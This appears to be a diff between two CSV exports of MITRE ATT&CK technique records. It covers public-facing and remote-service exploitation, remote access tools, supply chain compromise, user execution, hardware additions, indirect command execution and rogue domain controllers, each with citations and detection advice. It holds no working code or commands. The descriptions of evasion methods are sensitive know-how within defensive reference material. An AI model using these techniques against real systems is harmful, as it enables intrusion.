2019.', url='https://cwe.mitre.org/top25/index.html')]",attack-pattern--3f886f2a-874f-4333-b794-aa6075009b1c,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='initial-access')]",2021-04-12 18:25:16.409000+00:00,Exploit Public-Facing Application,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,"['Yossi Weizman, Azure Defender Research Team', 'Praetorian']","['Application Log: Application Log Content', 'Network Traffic: Network Traffic Content']",,,,,"Monitor application logs for abnormal behavior that may indicate attempted or successful exploitation. Use deep packet inspection to look for artifacts of common exploit traffic, such as SQL injection. Web Application Firewalls may detect improper inputs attempting exploitation.",,,,,False,,,,"['Windows', 'IaaS', 'Network', 'Linux', 'macOS', 'Containers']",,,,2.3 -2018-04-18 17:59:24.739000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may exploit remote services to gain unauthorized access to internal systems once inside of a network. Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. A common goal for post-compromise exploitation of remote services is for lateral movement to enable access to a remote system. +For websites and databases, the OWASP top 10 and CWE top 25 highlight the most common web-based vulnerabilities.(Citation: OWASP Top 10)(Citation: CWE top 25)","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'initial-access'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1190', 'external_id': 'T1190'}, {'source_name': 'NVD CVE-2016-6662', 'description': 'National Vulnerability Database. (2017, February 2). CVE-2016-6662 Detail. Retrieved April 3, 2018.', 'url': 'https://nvd.nist.gov/vuln/detail/CVE-2016-6662'}, {'source_name': 'CIS Multiple SMB Vulnerabilities', 'description': 'CIS. (2017, May 15). Multiple Vulnerabilities in Microsoft Windows SMB Server Could Allow for Remote Code Execution. Retrieved April 3, 2018.', 'url': 'https://www.cisecurity.org/advisory/multiple-vulnerabilities-in-microsoft-windows-smb-server-could-allow-for-remote-code-execution/'}, {'source_name': 'US-CERT TA18-106A Network Infrastructure Devices 2018', 'description': 'US-CERT. (2018, April 20). Russian State-Sponsored Cyber Actors Targeting Network Infrastructure Devices. Retrieved October 19, 2020.', 'url': 'https://us-cert.cisa.gov/ncas/alerts/TA18-106A'}, {'source_name': 'Cisco Blog Legacy Device Attacks', 'description': 'Omar Santos. (2020, October 19). Attackers Continue to Target Legacy Devices. Retrieved October 20, 2020.', 'url': 'https://community.cisco.com/t5/security-blogs/attackers-continue-to-target-legacy-devices/ba-p/4169954'}, {'source_name': 'NVD CVE-2014-7169', 'description': 'National Vulnerability Database. (2017, September 24). CVE-2014-7169 Detail. Retrieved April 3, 2018.', 'url': 'https://nvd.nist.gov/vuln/detail/CVE-2014-7169'}, {'source_name': 'OWASP Top 10', 'description': 'OWASP. (2018, February 23). OWASP Top Ten Project. Retrieved April 3, 2018.', 'url': 'https://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project'}, {'source_name': 'CWE top 25', 'description': 'Christey, S., Brown, M., Kirby, D., Martin, B., Paller, A.. (2011, September 13). 2011 CWE/SANS Top 25 Most Dangerous Software Errors. Retrieved April 10, 2019.', 'url': 'https://cwe.mitre.org/top25/index.html'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Yossi Weizman, Azure Defender Research Team', 'Praetorian']","['Application Log: Application Log Content', 'Network Traffic: Network Traffic Content']",,"Monitor application logs for abnormal behavior that may indicate attempted or successful exploitation. Use deep packet inspection to look for artifacts of common exploit traffic, such as SQL injection. Web Application Firewalls may detect improper inputs attempting exploitation.",False,,"['Windows', 'IaaS', 'Network', 'Linux', 'macOS', 'Containers']",2.3,,,,,,, +attack-pattern,attack-pattern--9db0cf3a-a3c9-4012-8268-123b9db6fd82,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2018-04-18T17:59:24.739Z,2021-04-22T20:23:01.478Z,Exploitation of Remote Services,"Adversaries may exploit remote services to gain unauthorized access to internal systems once inside of a network. Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. A common goal for post-compromise exploitation of remote services is for lateral movement to enable access to a remote system. An adversary may need to determine if the remote system is in a vulnerable state, which may be done through [Network Service Scanning](https://attack.mitre.org/techniques/T1046) or other Discovery methods looking for common, vulnerable software that may be deployed in the network, the lack of certain patches that may indicate vulnerabilities, or security software that may be used to detect or contain remote exploitation. Servers are likely a high value target for lateral movement exploitation, but endpoint systems may also be at risk if they provide an advantage or access to additional resources. There are several well-known vulnerabilities that exist in common services such as SMB (Citation: CIS Multiple SMB Vulnerabilities) and RDP (Citation: NVD CVE-2017-0176) as well as applications that may be used within internal networks such as MySQL (Citation: NVD CVE-2016-6662) and web server services. (Citation: NVD CVE-2014-7169) -Depending on the permissions level of the vulnerable remote service an adversary may achieve [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068) as a result of lateral movement exploitation as well.","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1210', external_id='T1210'), ExternalReference(source_name='CIS Multiple SMB Vulnerabilities', description='CIS. (2017, May 15). Multiple Vulnerabilities in Microsoft Windows SMB Server Could Allow for Remote Code Execution. Retrieved April 3, 2018.', url='https://www.cisecurity.org/advisory/multiple-vulnerabilities-in-microsoft-windows-smb-server-could-allow-for-remote-code-execution/'), ExternalReference(source_name='NVD CVE-2017-0176', description='National Vulnerability Database. (2017, June 22). CVE-2017-0176 Detail. Retrieved April 3, 2018.', url='https://nvd.nist.gov/vuln/detail/CVE-2017-0176'), ExternalReference(source_name='NVD CVE-2016-6662', description='National Vulnerability Database. (2017, February 2). CVE-2016-6662 Detail. Retrieved April 3, 2018.', url='https://nvd.nist.gov/vuln/detail/CVE-2016-6662'), ExternalReference(source_name='NVD CVE-2014-7169', description='National Vulnerability Database. (2017, September 24). CVE-2014-7169 Detail. Retrieved April 3, 2018.', url='https://nvd.nist.gov/vuln/detail/CVE-2014-7169')]",attack-pattern--9db0cf3a-a3c9-4012-8268-123b9db6fd82,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='lateral-movement')]",2021-04-22 20:23:01.478000+00:00,Exploitation of Remote Services,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,['ExtraHop'],"['Application Log: Application Log Content', 'Network Traffic: Network Traffic Content']",,,,,"Detecting software exploitation may be difficult depending on the tools available. Software exploits may not always succeed or may cause the exploited process to become unstable or crash. Also look for behavior on the endpoint system that might indicate successful compromise, such as abnormal behavior of the processes. This could include suspicious files written to disk, evidence of [Process Injection](https://attack.mitre.org/techniques/T1055) for attempts to hide execution, evidence of Discovery, or other unusual network traffic that may indicate additional tools transferred to the system.",,,,,False,,,['User'],"['Linux', 'Windows', 'macOS']",,"['Unpatched software or otherwise vulnerable target. Depending on the target and goal, the system and exploitable service may need to be remotely accessible from the internal network.']",,1.1 -2018-04-18 17:59:24.739000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"An adversary may use legitimate desktop support and remote access software, such as Team Viewer, Go2Assist, LogMein, AmmyyAdmin, etc, to establish an interactive command and control channel to target systems within networks. These services are commonly used as legitimate technical support software, and may be allowed by application control within a target environment. Remote access tools like VNC, Ammyy, and Teamviewer are used frequently when compared with other legitimate software commonly used by adversaries. (Citation: Symantec Living off the Land) - -Remote access tools may be established and used post-compromise as alternate communications channel for redundant access or as a way to establish an interactive remote desktop session with the target system. They may also be used as a component of malware to establish a reverse connection or back-connect to a service or adversary controlled system. - -Admin tools such as TeamViewer have been used by several groups targeting institutions in countries of interest to the Russian state and criminal campaigns. (Citation: CrowdStrike 2015 Global Threat Report) (Citation: CrySyS Blog TeamSpy)","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1219', external_id='T1219'), ExternalReference(source_name='Symantec Living off the Land', description='Wueest, C., Anand, H. (2017, July). Living off the land and fileless attack techniques. Retrieved April 10, 2018.', url='https://www.symantec.com/content/dam/symantec/docs/security-center/white-papers/istr-living-off-the-land-and-fileless-attack-techniques-en.pdf'), ExternalReference(source_name='CrowdStrike 2015 Global Threat Report', description='CrowdStrike Intelligence. (2016). 2015 Global Threat Report. Retrieved April 11, 2018.', url='https://go.crowdstrike.com/rs/281-OBQ-266/images/15GlobalThreatReport.pdf'), ExternalReference(source_name='CrySyS Blog TeamSpy', description='CrySyS Lab. (2013, March 20). TeamSpy – Obshie manevri. Ispolzovat’ tolko s razreshenija S-a. Retrieved April 11, 2018.', url='https://blog.crysys.hu/2013/03/teamspy/')]",attack-pattern--4061e78c-1284-44b4-9116-73e4ac3912f7,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='command-and-control')]",2020-06-20 20:42:37.320000+00:00,Remote Access Software,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,"['Matt Kelly, @breakersall']","['Process: Process Creation', 'Network Traffic: Network Traffic Flow', 'Network Traffic: Network Connection Creation', 'Network Traffic: Network Traffic Content']",,,,,"Monitor for applications and processes related to remote admin tools. Correlate activity with other suspicious behavior that may reduce false positives if these tools are used by legitimate users and administrators. - -Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect application layer protocols that do not follow the expected protocol for the port that is being used. - -[Domain Fronting](https://attack.mitre.org/techniques/T1090/004) may be used in conjunction to avoid defenses. Adversaries will likely need to deploy and/or install these remote tools to compromised systems. It may be possible to detect or prevent the installation of these tools with host-based solutions.",,,,,False,True,,['User'],"['Linux', 'Windows', 'macOS']",,,,2.0 -2018-04-18 17:59:24.739000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may manipulate products or product delivery mechanisms prior to receipt by a final consumer for the purpose of data or system compromise. +Depending on the permissions level of the vulnerable remote service an adversary may achieve [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068) as a result of lateral movement exploitation as well.","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'lateral-movement'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1210', 'external_id': 'T1210'}, {'source_name': 'CIS Multiple SMB Vulnerabilities', 'description': 'CIS. (2017, May 15). Multiple Vulnerabilities in Microsoft Windows SMB Server Could Allow for Remote Code Execution. Retrieved April 3, 2018.', 'url': 'https://www.cisecurity.org/advisory/multiple-vulnerabilities-in-microsoft-windows-smb-server-could-allow-for-remote-code-execution/'}, {'source_name': 'NVD CVE-2017-0176', 'description': 'National Vulnerability Database. (2017, June 22). CVE-2017-0176 Detail. Retrieved April 3, 2018.', 'url': 'https://nvd.nist.gov/vuln/detail/CVE-2017-0176'}, {'source_name': 'NVD CVE-2016-6662', 'description': 'National Vulnerability Database. (2017, February 2). CVE-2016-6662 Detail. Retrieved April 3, 2018.', 'url': 'https://nvd.nist.gov/vuln/detail/CVE-2016-6662'}, {'source_name': 'NVD CVE-2014-7169', 'description': 'National Vulnerability Database. (2017, September 24). CVE-2014-7169 Detail. Retrieved April 3, 2018.', 'url': 'https://nvd.nist.gov/vuln/detail/CVE-2014-7169'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],['ExtraHop'],"['Application Log: Application Log Content', 'Network Traffic: Network Traffic Content']",,"Detecting software exploitation may be difficult depending on the tools available. Software exploits may not always succeed or may cause the exploited process to become unstable or crash. Also look for behavior on the endpoint system that might indicate successful compromise, such as abnormal behavior of the processes. This could include suspicious files written to disk, evidence of [Process Injection](https://attack.mitre.org/techniques/T1055) for attempts to hide execution, evidence of Discovery, or other unusual network traffic that may indicate additional tools transferred to the system.",False,['User'],"['Linux', 'Windows', 'macOS']",1.1,,"['Unpatched software or otherwise vulnerable target. Depending on the target and goal, the system and exploitable service may need to be remotely accessible from the internal network.']",,,,, +attack-pattern,attack-pattern--d40239b3-05ff-46d8-9bdd-b46d13463ef9,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2018-04-18T17:59:24.739Z,2021-08-17T00:28:00.947Z,Hardware Additions,"Adversaries may introduce computer accessories, computers, or networking hardware into a system or network that can be used as a vector to gain access. While public references of usage by threat actors are scarce, many red teams/penetration testers leverage hardware additions for initial access. Commercial and open source products can be leveraged with capabilities such as passive network tapping (Citation: Ossmann Star Feb 2011), network traffic modification (i.e. [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557)) (Citation: Aleks Weapons Nov 2015), keystroke injection (Citation: Hak5 RubberDuck Dec 2016), kernel memory reading via DMA (Citation: Frisk DMA August 2016), addition of new wireless access to an existing network (Citation: McMillan Pwn March 2012), and others.","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'initial-access'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1200', 'external_id': 'T1200'}, {'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/440.html', 'external_id': 'CAPEC-440'}, {'source_name': 'Ossmann Star Feb 2011', 'description': 'Michael Ossmann. (2011, February 17). Throwing Star LAN Tap. Retrieved March 30, 2018.', 'url': 'https://ossmann.blogspot.com/2011/02/throwing-star-lan-tap.html'}, {'source_name': 'Aleks Weapons Nov 2015', 'description': 'Nick Aleks. (2015, November 7). Weapons of a Pentester - Understanding the virtual & physical tools used by white/black hat hackers. Retrieved March 30, 2018.', 'url': 'https://www.youtube.com/watch?v=lDvf4ScWbcQ'}, {'source_name': 'Hak5 RubberDuck Dec 2016', 'description': 'Hak5. (2016, December 7). Stealing Files with the USB Rubber Ducky – USB Exfiltration Explained. Retrieved March 30, 2018.', 'url': 'https://www.hak5.org/blog/main-blog/stealing-files-with-the-usb-rubber-ducky-usb-exfiltration-explained'}, {'source_name': 'Frisk DMA August 2016', 'description': 'Ulf Frisk. (2016, August 5). Direct Memory Attack the Kernel. Retrieved March 30, 2018.', 'url': 'https://www.youtube.com/watch?v=fXthwl6ShOg'}, {'source_name': 'McMillan Pwn March 2012', 'description': 'Robert McMillan. (2012, March 3). The Pwn Plug is a little white box that can hack your network. Retrieved March 30, 2018.', 'url': 'https://arstechnica.com/information-technology/2012/03/the-pwn-plug-is-a-little-white-box-that-can-hack-your-network/'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,,,"Asset management systems may help with the detection of computer systems or network devices that should not exist on a network. -Supply chain compromise can take place at any stage of the supply chain including: - -* Manipulation of development tools -* Manipulation of a development environment -* Manipulation of source code repositories (public or private) -* Manipulation of source code in open-source dependencies -* Manipulation of software update/distribution mechanisms -* Compromised/infected system images (multiple cases of removable media infected at the factory) (Citation: IBM Storwize) (Citation: Schneider Electric USB Malware) -* Replacement of legitimate software with modified versions -* Sales of modified/counterfeit products to legitimate distributors -* Shipment interdiction - -While supply chain compromise can impact any component of hardware or software, attackers looking to gain execution have often focused on malicious additions to legitimate software in software distribution or update channels. (Citation: Avast CCleaner3 2018) (Citation: Microsoft Dofoil 2018) (Citation: Command Five SK 2011) Targeting may be specific to a desired victim set (Citation: Symantec Elderwood Sept 2012) or malicious software may be distributed to a broad set of consumers but only move on to additional tactics on specific victims. (Citation: Avast CCleaner3 2018) (Citation: Command Five SK 2011) Popular open source projects that are used as dependencies in many applications may also be targeted as a means to add malicious code to users of the dependency. (Citation: Trendmicro NPM Compromise)","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1195', external_id='T1195'), ExternalReference(source_name='capec', url='https://capec.mitre.org/data/definitions/437.html', external_id='CAPEC-437'), ExternalReference(source_name='capec', url='https://capec.mitre.org/data/definitions/438.html', external_id='CAPEC-438'), ExternalReference(source_name='capec', url='https://capec.mitre.org/data/definitions/439.html', external_id='CAPEC-439'), ExternalReference(source_name='IBM Storwize', description='IBM Support. (2017, April 26). Storwize USB Initialization Tool may contain malicious code. Retrieved May 28, 2019.', url='https://www-01.ibm.com/support/docview.wss?uid=ssg1S1010146&myns=s028&mynp=OCSTHGUJ&mynp=OCSTLM5A&mynp=OCSTLM6B&mynp=OCHW206&mync=E&cm_sp=s028-_-OCSTHGUJ-OCSTLM5A-OCSTLM6B-OCHW206-_-E'), ExternalReference(source_name='Schneider Electric USB Malware', description='Schneider Electric. (2018, August 24). Security Notification – USB Removable Media Provided With Conext Combox and Conext Battery Monitor. Retrieved May 28, 2019.', url='https://www.se.com/ww/en/download/document/SESN-2018-236-01/'), ExternalReference(source_name='Avast CCleaner3 2018', description='Avast Threat Intelligence Team. (2018, March 8). New investigations into the CCleaner incident point to a possible third stage that had keylogger capacities. Retrieved March 15, 2018.', url='https://blog.avast.com/new-investigations-in-ccleaner-incident-point-to-a-possible-third-stage-that-had-keylogger-capacities'), ExternalReference(source_name='Microsoft Dofoil 2018', description='Windows Defender Research. (2018, March 7). Behavior monitoring combined with machine learning spoils a massive Dofoil coin mining campaign. Retrieved March 20, 2018.', url='https://cloudblogs.microsoft.com/microsoftsecure/2018/03/07/behavior-monitoring-combined-with-machine-learning-spoils-a-massive-dofoil-coin-mining-campaign/'), ExternalReference(source_name='Command Five SK 2011', description='Command Five Pty Ltd. (2011, September). SK Hack by an Advanced Persistent Threat. Retrieved April 6, 2018.', url='https://www.commandfive.com/papers/C5_APT_SKHack.pdf'), ExternalReference(source_name='Symantec Elderwood Sept 2012', description=""O'Gorman, G., and McDonald, G.. (2012, September 6). The Elderwood Project. Retrieved February 15, 2018."", url='https://web.archive.org/web/20190717233006/http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-elderwood-project.pdf'), ExternalReference(source_name='Trendmicro NPM Compromise', description='Trendmicro. (2018, November 29). Hacker Infects Node.js Package to Steal from Bitcoin Wallets. Retrieved April 10, 2019.', url='https://www.trendmicro.com/vinfo/dk/security/news/cybercrime-and-digital-threats/hacker-infects-node-js-package-to-steal-from-bitcoin-wallets')]",attack-pattern--3f18edba-28f4-4bb9-82c3-8aa60dcac5f7,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='initial-access')]",2021-01-06 19:32:28.382000+00:00,Supply Chain Compromise,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,['Veeral Patel'],,,,,,Use verification of distributed binaries through hash checking or other integrity checking mechanisms. Scan downloads for malicious signatures and attempt to test software and updates prior to deployment while taking note of potential suspicious activity. Perform physical inspection of hardware to look for potential tampering.,,,,,False,,,,"['Linux', 'Windows', 'macOS']",,,,1.2 -2018-04-18 17:59:24.739000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"An adversary may rely upon specific actions by a user in order to gain execution. Users may be subjected to social engineering to get them to execute malicious code by, for example, opening a malicious document file or link. These user actions will typically be observed as follow-on behavior from forms of [Phishing](https://attack.mitre.org/techniques/T1566). +Endpoint sensors may be able to detect the addition of hardware via USB, Thunderbolt, and other external device communication ports.",False,,"['Windows', 'Linux', 'macOS']",1.2,,,,,,, +attack-pattern,attack-pattern--3b0e52ce-517a-4614-a523-1bd5deef6c5e,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2018-04-18T17:59:24.739Z,2020-06-20T22:09:22.559Z,Indirect Command Execution,"Adversaries may abuse utilities that allow for command execution to bypass security restrictions that limit the use of command-line interpreters. Various Windows utilities may be used to execute commands, possibly without invoking [cmd](https://attack.mitre.org/software/S0106). For example, [Forfiles](https://attack.mitre.org/software/S0193), the Program Compatibility Assistant (pcalua.exe), components of the Windows Subsystem for Linux (WSL), as well as other utilities may invoke the execution of programs and commands from a [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059), Run window, or via scripts. (Citation: VectorSec ForFiles Aug 2017) (Citation: Evi1cg Forfiles Nov 2017) -While [User Execution](https://attack.mitre.org/techniques/T1204) frequently occurs shortly after Initial Access it may occur at other phases of an intrusion, such as when an adversary places a file in a shared directory or on a user's desktop hoping that a user will click on it. This activity may also be seen shortly after [Internal Spearphishing](https://attack.mitre.org/techniques/T1534).","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1204', external_id='T1204')]",attack-pattern--8c32eb4d-805f-4fc5-bf60-c4d476c131b5,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='execution')]",2021-04-20 16:34:09.236000+00:00,User Execution,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,"['Oleg Skulkin, Group-IB']","['Application Log: Application Log Content', 'Instance: Instance Start', 'Instance: Instance Creation', 'Image: Image Creation', 'Command: Command Execution', 'Container: Container Start', 'Container: Container Creation', 'Network Traffic: Network Connection Creation', 'Network Traffic: Network Traffic Content', 'File: File Creation', 'Process: Process Creation']",,,,,"Monitor the execution of and command-line arguments for applications that may be used by an adversary to gain Initial Access that require user interaction. This includes compression applications, such as those for zip files, that can be used to [Deobfuscate/Decode Files or Information](https://attack.mitre.org/techniques/T1140) in payloads. +Adversaries may abuse these features for [Defense Evasion](https://attack.mitre.org/tactics/TA0005), specifically to perform arbitrary execution while subverting detections and/or mitigation controls (such as Group Policy) that limit/prevent the usage of [cmd](https://attack.mitre.org/software/S0106) or file extensions more commonly associated with malicious payloads.","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1202', 'external_id': 'T1202'}, {'source_name': 'VectorSec ForFiles Aug 2017', 'description': 'vector_sec. (2017, August 11). Defenders watching launches of cmd? What about forfiles?. Retrieved January 22, 2018.', 'url': 'https://twitter.com/vector_sec/status/896049052642533376'}, {'source_name': 'Evi1cg Forfiles Nov 2017', 'description': 'Evi1cg. (2017, November 26). block cmd.exe ? try this :. Retrieved January 22, 2018.', 'url': 'https://twitter.com/Evi1cg/status/935027922397573120'}, {'source_name': 'RSA Forfiles Aug 2017', 'description': 'Partington, E. (2017, August 14). Are you looking out for forfiles.exe (if you are watching for cmd.exe). Retrieved January 22, 2018.', 'url': 'https://community.rsa.com/community/products/netwitness/blog/2017/08/14/are-you-looking-out-for-forfilesexe-if-you-are-watching-for-cmdexe'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Matthew Demaske, Adaptforward']","['Process: Process Creation', 'Command: Command Execution']","['Static File Analysis', 'Application control', 'Application control by file name or path']","Monitor and analyze logs from host-based detection mechanisms, such as Sysmon, for events such as process creations that include or are resulting from parameters associated with invoking programs/commands/files and/or spawning child processes/network connections. (Citation: RSA Forfiles Aug 2017)",False,['User'],['Windows'],1.1,,,,,,, +attack-pattern,attack-pattern--4061e78c-1284-44b4-9116-73e4ac3912f7,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2018-04-18T17:59:24.739Z,2020-06-20T20:42:37.320Z,Remote Access Software,"An adversary may use legitimate desktop support and remote access software, such as Team Viewer, Go2Assist, LogMein, AmmyyAdmin, etc, to establish an interactive command and control channel to target systems within networks. These services are commonly used as legitimate technical support software, and may be allowed by application control within a target environment. Remote access tools like VNC, Ammyy, and Teamviewer are used frequently when compared with other legitimate software commonly used by adversaries. (Citation: Symantec Living off the Land) -Anti-virus can potentially detect malicious documents and files that are downloaded and executed on the user's computer. Endpoint sensing or network sensing can potentially detect malicious events once the file is opened (such as a Microsoft Word document or PDF reaching out to the internet or spawning powershell.exe).",,,,,False,,,['User'],"['Linux', 'Windows', 'macOS', 'IaaS', 'Containers']",,,,1.3 -2018-04-18 17:59:24.739000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility. +Remote access tools may be established and used post-compromise as alternate communications channel for redundant access or as a way to establish an interactive remote desktop session with the target system. They may also be used as a component of malware to establish a reverse connection or back-connect to a service or adversary controlled system. -Several types exist: +Admin tools such as TeamViewer have been used by several groups targeting institutions in countries of interest to the Russian state and criminal campaigns. (Citation: CrowdStrike 2015 Global Threat Report) (Citation: CrySyS Blog TeamSpy)","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'command-and-control'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1219', 'external_id': 'T1219'}, {'source_name': 'Symantec Living off the Land', 'description': 'Wueest, C., Anand, H. (2017, July). Living off the land and fileless attack techniques. Retrieved April 10, 2018.', 'url': 'https://www.symantec.com/content/dam/symantec/docs/security-center/white-papers/istr-living-off-the-land-and-fileless-attack-techniques-en.pdf'}, {'source_name': 'CrowdStrike 2015 Global Threat Report', 'description': 'CrowdStrike Intelligence. (2016). 2015 Global Threat Report. Retrieved April 11, 2018.', 'url': 'https://go.crowdstrike.com/rs/281-OBQ-266/images/15GlobalThreatReport.pdf'}, {'source_name': 'CrySyS Blog TeamSpy', 'description': 'CrySyS Lab. (2013, March 20). TeamSpy – Obshie manevri. Ispolzovat’ tolko s razreshenija S-a. Retrieved April 11, 2018.', 'url': 'https://blog.crysys.hu/2013/03/teamspy/'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Matt Kelly, @breakersall']","['Process: Process Creation', 'Network Traffic: Network Traffic Flow', 'Network Traffic: Network Connection Creation', 'Network Traffic: Network Traffic Content']",,"Monitor for applications and processes related to remote admin tools. Correlate activity with other suspicious behavior that may reduce false positives if these tools are used by legitimate users and administrators. -### Browser-based Exploitation +Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect application layer protocols that do not follow the expected protocol for the port that is being used. -Web browsers are a common target through [Drive-by Compromise](https://attack.mitre.org/techniques/T1189) and [Spearphishing Link](https://attack.mitre.org/techniques/T1566/002). Endpoint systems may be compromised through normal web browsing or from certain users being targeted by links in spearphishing emails to adversary controlled sites used to exploit the web browser. These often do not require an action by the user for the exploit to be executed. +[Domain Fronting](https://attack.mitre.org/techniques/T1090/004) may be used in conjunction to avoid defenses. Adversaries will likely need to deploy and/or install these remote tools to compromised systems. It may be possible to detect or prevent the installation of these tools with host-based solutions.",False,['User'],"['Linux', 'Windows', 'macOS']",2.0,,,True,,,, +attack-pattern,attack-pattern--564998d8-ab3e-4123-93fb-eccaa6b9714a,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2018-04-18T17:59:24.739Z,2021-02-09T15:13:27.670Z,Rogue Domain Controller,"Adversaries may register a rogue Domain Controller to enable manipulation of Active Directory data. DCShadow may be used to create a rogue Domain Controller (DC). DCShadow is a method of manipulating Active Directory (AD) data, including objects and schemas, by registering (or reusing an inactive registration) and simulating the behavior of a DC. (Citation: DCShadow Blog) Once registered, a rogue DC may be able to inject and replicate changes into AD infrastructure for any domain object, including credentials and keys. -### Office Applications +Registering a rogue DC involves creating a new server and nTDSDSA objects in the Configuration partition of the AD schema, which requires Administrator privileges (either Domain or local to the DC) or the KRBTGT hash. (Citation: Adsecurity Mimikatz Guide) -Common office and productivity applications such as Microsoft Office are also targeted through [Phishing](https://attack.mitre.org/techniques/T1566). Malicious files will be transmitted directly as attachments or through links to download them. These require the user to open the document or file for the exploit to run. +This technique may bypass system logging and security monitors such as security information and event management (SIEM) products (since actions taken on a rogue DC may not be reported to these sensors). (Citation: DCShadow Blog) The technique may also be used to alter and delete replication and other associated metadata to obstruct forensic analysis. Adversaries may also utilize this technique to perform [SID-History Injection](https://attack.mitre.org/techniques/T1134/005) and/or manipulate AD objects (such as accounts, access control lists, schemas) to establish backdoors for Persistence. (Citation: DCShadow Blog)","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1207', 'external_id': 'T1207'}, {'source_name': 'DCShadow Blog', 'description': 'Delpy, B. & LE TOUX, V. (n.d.). DCShadow. Retrieved March 20, 2018.', 'url': 'https://www.dcshadow.com/'}, {'source_name': 'Adsecurity Mimikatz Guide', 'description': 'Metcalf, S. (2015, November 13). Unofficial Guide to Mimikatz & Command Reference. Retrieved December 23, 2015.', 'url': 'https://adsecurity.org/?page_id=1821'}, {'source_name': 'GitHub DCSYNCMonitor', 'description': 'Spencer S. (2018, February 22). DCSYNCMonitor. Retrieved March 30, 2018.', 'url': 'https://github.com/shellster/DCSYNCMonitor'}, {'source_name': 'Microsoft DirSync', 'description': 'Microsoft. (n.d.). Polling for Changes Using the DirSync Control. Retrieved March 30, 2018.', 'url': 'https://msdn.microsoft.com/en-us/library/ms677626.aspx'}, {'source_name': 'ADDSecurity DCShadow Feb 2018', 'description': 'Lucand,G. (2018, February 18). Detect DCShadow, impossible?. Retrieved March 30, 2018.', 'url': 'https://adds-security.blogspot.fr/2018/02/detecter-dcshadow-impossible.html'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],['Vincent Le Toux'],"['Active Directory: Active Directory Object Creation', 'Active Directory: Active Directory Object Modification', 'Network Traffic: Network Traffic Content', 'User Account: User Account Authentication']",['Log analysis'],"Monitor and analyze network traffic associated with data replication (such as calls to DrsAddEntry, DrsReplicaAdd, and especially GetNCChanges) between DCs as well as to/from non DC hosts. (Citation: GitHub DCSYNCMonitor) (Citation: DCShadow Blog) DC replication will naturally take place every 15 minutes but can be triggered by an attacker or by legitimate urgent changes (ex: passwords). Also consider monitoring and alerting on the replication of AD objects (Audit Detailed Directory Service Replication Events 4928 and 4929). (Citation: DCShadow Blog) -### Common Third-party Applications +Leverage AD directory synchronization (DirSync) to monitor changes to directory state using AD replication cookies. (Citation: Microsoft DirSync) 